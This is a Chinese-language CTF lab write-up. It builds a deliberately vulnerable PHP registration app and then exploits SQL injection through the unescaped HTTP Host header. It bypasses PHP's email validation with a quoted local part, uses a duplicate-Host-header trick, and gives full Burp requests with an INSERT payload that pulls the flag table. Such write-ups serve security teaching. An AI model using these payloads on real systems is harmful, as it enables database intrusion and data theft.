環境配置(centos7)
1.php56 + php56-fpm
//配置epel
yum install epel-release
rpm -ivh http://rpms.famillecollet.com/enterprise/remi-release-7.rpm//安裝php56,php56-fpm及其依賴
yum --enablerepo=remi install php56-php
yum --enablerepo=remi install php56-php-devel php56-php-fpm php56-php-gd php56-php-xml php56-php-sockets php56-php-session php56-php-snmp php56-php-mysql
2.nginx
①去往cd /usr/share/nginx/html/ 新建目錄kaka,將protected文件夾和web文件夾放入kaka目錄
②再去往protected目錄下找到config.php設置與mysql5.7的連接
<?phpdate_default_timezone_set('PRC');$config = array('rewrite' => array('<m>/<c>/<a>' => '<m>/<c>/<a>','<c>/<a>' => '<c>/<a>','/' => 'main/index',),'debug' => 1,'mysql' => array('MYSQL_HOST' => 'localhost','MYSQL_PORT' => '3306','MYSQL_USER' => 'root','MYSQL_DB' => 'LNMP','MYSQL_PASS' => 'QWER97!','MYSQL_CHARSET' => 'utf8mb4',),
);
return $config;
③修改nginx配置文件nginx.conf,添加以下內容
server{listen 80;root /usr/local/nginx/html/kaka/web;index index.html index.php;server_name 2023.saorikaka.pw;location / {try_files $uri $uri/ /index.php;}location ~ \.php$ {fastcgi_pass 127.0.0.1:9000;fastcgi_index index.php;fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;include fastcgi_params;}
}
④找到html目錄下的index.html文件
在body添加內容
<form action="" method="post" enctype="multipart/form-data"></form>
⑤去 /protected/view 找main_register.html文件添加內容enctype="multipart/form-data"
?⑥嘗試登陸該網頁,使用IP地址登陸,看是否跳轉到 IP地址/main/log,如果357行報錯,我們可以去/protected/lib目錄下的core.php中將 $GLOBALS['view']['compile_dir']后的內容改為 ‘/tmp’
?成功登陸后去往regist注冊頁面
?
3.mysql5.7
//mysql 隨便創建一個數據庫并使用,添加如下代碼創建存放flag的數據表
SET NAMES utf8;
SET FOREIGN_KEY_CHECKS = 0;DROP TABLE IF EXISTS `flags`;
CREATE TABLE `flags` (`id` int(10) unsigned NOT NULL AUTO_INCREMENT,`flag` varchar(256) DEFAULT NULL,PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4;DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (`id` int(10) unsigned NOT NULL AUTO_INCREMENT,`username` varchar(256) NOT NULL,`password` varchar(32) NOT NULL,`email` varchar(256) DEFAULT NULL,PRIMARY KEY (`id`),UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=15 DEFAULT CHARSET=utf8mb4;SET FOREIGN_KEY_CHECKS = 1;//插入一個flag
insert into flags (flag) value ('I_Love_security');
題干
注冊、登錄功能相關代碼
<?php
escape($_REQUEST);
escape($_POST);
escape($_GET);function escape(&$arg) {if(is_array($arg)) {foreach ($arg as &$value) {escape($value);}} else {$arg = str_replace(["'", '\\', '(', ')'], ["‘", '\\\\', '(', ')'], $arg);}
}function arg($name, $default = null, $trim = false) {if (isset($_REQUEST[$name])) {$arg = $_REQUEST[$name];} elseif (isset($_SERVER[$name])) {$arg = $_SERVER[$name];} else {$arg = $default;}if($trim) {$arg = trim($arg);}return $arg;
}
值得注意的點
1.escape是將GPR中的單引號、圓括號轉換成中文符號,反斜線進行轉義
2.$_REQUEST,$_POST,$_GET全都需要經過escape函數的過濾
3.arg是獲取用戶輸入的$_REQUEST或$_SERVER。但這里$_SERVER變量沒有經過轉義
控制代碼
<?php
function actionRegister(){if ($_POST) {$username = arg('username');$password = arg('password');if (empty($username) || empty($password)) {$this->error('Username or password is empty.');}$email = arg('email');if (empty($email)) {$email = $username . '@' . arg('HTTP_HOST');}if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {$this->error('Email error.');}$user = new User();$data = $user->query("SELECT * FROM `{$user->table_name}` WHERE `username` = '{$username}'");if ($data) {$this->error('This username is exists.');}$ret = $user->create(['username' => $username,'password' => md5($password),'email' => $email]);if ($ret) {$_SESSION['user_id'] = $user->lastInsertId();} else {$this->error('Unknown error.');}}}
值得注意的點
1.賬號和密碼被empty函數檢測,不可以為空,會報錯。
2.郵箱不填寫內容會自動設置為"用戶名@網站域名"
3.create方法其實就是拼接了一個INSERT語句
4.因為$_SERVER沒有經過轉義,我們只需要在HTTP頭Host值中引入單引號,即可造成一個SQL注入漏洞,但email變量經過了filter_var($email, FILTER_VALIDATE_EMAIL)
的檢測,我們首先要繞過FILTER_VALIDATE_EMAIL
繞過FILTER_VALIDATE_EMAIL
FILTER_VALIDATE_EMAIL的規則
RFC 3696規定,郵箱地址分為local part和domain part兩部分。local part中包含特殊字符,需要如下處理:
- 將特殊字符用\轉義,如Joe\'Blow@example.com
- 或將local part包裹在雙引號中,如"Joe'Blow"@example.com
- local part長度不超過64個字符
雖然PHP沒有完全按照RFC 3696進行檢測,但支持上述第2種寫法。所以,我們可以利用其繞過FILTER_VALIDATE_EMAIL的檢測
繞過思路一
因為代碼中郵箱是用戶名、@、Host三者拼接而成,但用戶名是經過了轉義的,所以單引號只能放在Host中。我們可以傳入用戶名為",Host為aaa'"@example.com,
(將單引號'被包裹在雙引號""中)
最后拼接出來的郵箱為"@aaa'"@example.com
簡單來說
username 給一個 "
host 給一個 aaa'"@example.com
按照函數里拼接的方法 username + @ +host
結果就是"@aaa'"@example.com? 這樣單引號'就被帶進去了
利用burpsuite進行繞過測試
1.輸入? 賬號 "x? 密碼隨意?? email空著就行?
2.打開抓包工具 intercept is on
3.在網頁上輸入我們預想的賬號和密碼,進行sign up
4.查看抓包工具
?5.將內容全選 send to Repeater
6.去掉一些沒有用的雜質
POST /main/register HTTP/1.1
Host: 192.168.226.140
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryloAJbBwR6NkeAfK6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7------WebKitFormBoundaryloAJbBwR6NkeAfK6
Content-Disposition: form-data; name="username""x
------WebKitFormBoundaryloAJbBwR6NkeAfK6
Content-Disposition: form-data; name="password"123kaka
------WebKitFormBoundaryloAJbBwR6NkeAfK6--
7.真正準備繞過?
修改host為 aaaa'"@qq.com
8.send提交
?
可以看見單引號 ' 已經進入了
語法錯誤是因為多了一個單引號,出錯才代表注入成功
查看網頁內容
可見已經繞過成功?
繞過思路二——雙host
更早版本,差不多 nginx1.15.10的時候? 使用兩個Host頭
當我們傳入兩個Host頭的時候,Nginx將以第一個為準,而PHP-FPM將以第二個為準
當我們傳入如下
Host: 2023.mhz.pw
Host: xxx'"@example.com
Nginx將認為Host為2023.mhz.pw,并交給目標Server塊處理;但PHP中使用$_SERVER['HTTP_HOST']取到的值卻是xxx'"@example.com
繞過思路三——insert注入方法
POST /main/register HTTP/1.1
Host: 2023.mhz.pw
Host: '),('t123',md5(12123),(select(flag)from(flags)))#"@a.com
insert into users values ('"a','dsadsadasdwdasda','"a@'),('t123',md5(12123),(select(flag)from(flags)))#"@a.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=--------356678531
Content-Length: 176----------356678531
Content-Disposition: form-data; name="username""a
----------356678531
Content-Disposition: form-data; name="password"aaa
----------356678531--
閉合之前的insert語句并添加一個用戶t123,將flag讀取到email字段